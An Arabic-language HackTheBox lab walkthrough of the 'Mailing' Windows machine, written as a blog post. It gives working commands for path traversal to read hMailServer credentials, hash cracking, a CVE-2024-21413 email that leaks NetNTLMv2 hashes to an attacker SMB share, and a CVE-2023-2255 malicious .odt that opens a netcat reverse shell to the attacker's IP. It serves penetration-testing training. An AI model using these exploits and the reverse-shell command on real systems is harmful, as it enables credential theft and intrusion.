
إذا كنت تتمرّس على أجهزة HackTheBox، فإن Mailing واحدة من تلك الأجهزة التي تعلّمك شيئًا فعلًا. تقييمها Easy، وتعمل على Windows، وتسلسل عدة ثغرات من العالم الحقيقي — اجتياز مجلدات، تسريب بيانات اعتماد، CVE-2024-21413، واستغلال ماكرو في LibreOffice. دعنا نستعرضها خطوة بخطوة.
بقلم Mursalin
إذا كنت تخوض أجهزة HackTheBox، فإن Mailing واحد من تلك الأجهزة التي تعلّمك شيئًا حقيقيًا. إنه مصنّف بدرجة Easy، ويعمل على Windows، ويجمع بين عدة ثغرات من العالم الحقيقي — اجتياز دليل، تسريب بيانات اعتماد، CVE-2024-21413، واستغلال ماكرو LibreOffice. دعنا نستعرضه خطوة بخطوة.
كالعادة، نبدأ بفحص nmap لنرى ما نتعامل معه:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
تعود النتائج بعدد لا بأس به من المنافذ المفتوحة. أبرزها:
mailing.htb)بصمة نظام التشغيل تطابق Windows 10 أو Server 2019، وإصدار IIS يؤكد أنه على الأقل IIS 10. كما ألاحظ أن توقيع رسائل SMB مفعّل لكنه غير مطلوب — احتفظ بهذه المعلومة لوقت لاحق.
منافذ البريد منتشرة في كل مكان، لكنها على الأرجح ستتطلب بيانات اعتماد. خادم الويب على المنفذ 80 هو نقطة البداية الواضحة.
بعد إضافة mailing.htb إلى /etc/hosts، يبدو الموقع وكأنه شركة استضافة بريد مبنية على hMailServer. لا شيء مميز على السطح — قسم "حول"، وقسم فريق يضم ثلاثة أسماء (Ruy Alonso، Maya Bendito، Gregory Smith)، وزر "تعليمات التنزيل".
زر التنزيل يشير إلى:
http://mailing.htb/download.php?file=instructions.pdf
معامل file= مريب فورًا. لنجربه.
شغّلت ffuf للتحقق من النطاقات الفرعية — لم يعُد شيء مثير للاهتمام. ثم feroxbuster لتخمين الدلائل، ولم يظهر شيء جديد أيضًا سوى download.php. لذلك يتجه كل اهتمامنا إلى نقطة النهاية هذه.
اختبار معامل file لاجتياز المسار:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
وهو يعمل — نستعيد ملف hosts الخاص بويندوز. التطبيق ببساطة يضيف مسارًا أساسيًا إلى أي مدخل نعطيه وينادي file_get_contents(). لا تعقيم، ولا قيود. مصدر download.php يؤكد ذلك عندما نقرأه مباشرة:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
الآن لدينا قراءة ملفات عشوائية على جهاز ويندوز. دعنا نستخدمها.
يخزّن hMailServer إعداداته في hMailServer.ini. بعد بعض البحث، يقع الملف في:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
قراءته عبر اجتيازنا:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
يتضمن الإخراج:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
تجزئتان MD5. أضعهما في CrackStation:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministratorإذن لدينا كلمة مرور المدير لـ hMailServer. تجربتها ضد SMB كمستخدم administrator في ويندوز تفشل — إنها ليست كلمة مرور حساب محلي، بل كلمة مرور مدير خدمة البريد فقط. لكنها تعمل للمصادقة على خدمة SMTP، وهو ما نحتاجه تمامًا.
الآن نحتاج إلى موطئ قدم كمستخدم حقيقي. يذكر الموقع أن عميل البريد المستخدم هو Windows Mail (استنادًا إلى PDF تعليمات التثبيت). حان الوقت للتحقق من الثغرات المعروفة.
CVE-2024-21413 هي ثغرة تنفيذ برمجي عن بُعد في Microsoft Outlook وWindows Mail. يكمن العيب في كيفية تعامل العملاء مع روابط بروتوكول file:// في نص البريد. عادةً، تُفرض قيود أمنية على البروتوكولات المختلفة. ومع ذلك، اكتشف الباحثون أنه إذا انتهى الرابط بـ !anything، فتُسقط هذه القيود بصمت. عندما يفتح المستخدم بريدًا إلكترونيًا يحتوي على مثل هذا الرابط أو حتى يعاينه، يحاول العميل تلقائيًا المصادقة على خادم SMB الخاص بالمهاجم — مما يسلّمه تجزئة NetNTLMv2.
هناك PoC موثوق على GitHub من xaitax. أستنسخه وأشغّله بهذه المعاملات:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
يُرسل البريد بنجاح. في هذه الأثناء، لديّ Responder يعمل على جهاز الهجوم لالتقاط المصادقة الواردة:
sudo /opt/Responder/Responder.py -I tun0
بعد دقيقة تقريبًا، يفتح عميل مايا البريد ويلتقط Responder تجزئة NetNTLMv2 الخاصة بها. أكسرها باستخدام hashcat:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
تم كسر كلمة المرور: m4y4ngs4ri
باستخدام بيانات اعتماد مايا، أتصل عبر Evil-WinRM:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
لقد دخلنا. علم المستخدم موجود على سطح مكتب مايا.
حان الوقت للبحث عن طريق إلى صلاحيات root. بالتجول في النظام، هناك مشاركة باسم Important Documents وLibreOffice مثبت. هذا تلميح قوي نحو CVE-2023-2255.
تؤثر CVE-2023-2255 على إصدارات LibreOffice قبل 7.4.7 و7.5.3. تستغل "الإطارات العائمة" — ملفات خارجية مرتبطة داخل مستندات .odt. تجعل هذه الثغرة تلك الإطارات تُحمَّل دون طلب إذن من المستخدم، ويمكن أن يكون المحتوى ماكرو يتم تنفيذه عند تحميل المستند.
ينشئ الـ PoC من elweth-sec ملف .odt خبيثًا يضم أمر شل. يدمج هيكل المستند وسم <script> في content.xml يعمل لحظة فتح LibreOffice للملف.
أنشئ حمولة شل عكسية:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
ثم ارفع ملف .odt وnc64.exe معًا إلى مشاركة SMB باسم Important Documents باستخدام بيانات اعتماد مايا:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
من شل WinRM الخاص بمايا، أنسخ nc64.exe إلى C:\ProgramData ليتمكن الماكرو من العثور عليه:
copy "\Important Documents\nc64.exe" nc64.exe
بعد دقيقة أو دقيقتين، يفتح شيء ما على الجهاز المستند (غالبًا مهمة مجدولة تلقائية)، وألتقط شلًا عند مستمع netcat:
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
نعمل الآن بصلاحية localadmin — وعلم root موجود على سطح المكتب.
تم تحديث الجهاز في 15 مايو 2024 — بعد 11 يومًا فقط من الإصدار — لأن download.php الأصلي كان يستخدم include() الخاص بـ PHP بدلاً من file_get_contents(). حوّل ذلك قراءة الملفات البسيطة إلى ثغرة تضمين ملفات محلية كاملة، مما يعني أن أي كود PHP في ملف قابل للقراءة سيتم تنفيذه.
كان المسار غير المقصود هو تسميم سجلات SMTP الخاصة بـ hMailServer (عبر الاتصال عبر telnet وحقن PHP في أمر HELO)، ثم تضمين ملف السجل هذا عبر LFI لتحقيق تنفيذ كود بصلاحية defaultapppool. ومن هناك، SeImpersonatePrivilege + GodPotato = SYSTEM. طريق مختلف تمامًا إلى root.
سلسلة الهجوم على Mailing تسير على النحو التالي:
download.phphMailServer.ini ← كسر هاش MD5 الخاص بالمديريقوم هذا الجهاز بعمل رائع في ربط ثغرات CVE حقيقية معًا بطريقة تبدو واقعية. خطوات الاستغلال ليست معقدة للغاية، لكنك تحتاج إلى فهم ما تفعله في كل مرحلة. بالتأكيد جهاز يستحق إعادة زيارته إذا كنت تدرس للحصول على OSCP.
شكرًا للقراءة! تابعني على Medium لمزيد من كتابات HTB ومحتوى CTF.
— Mursalin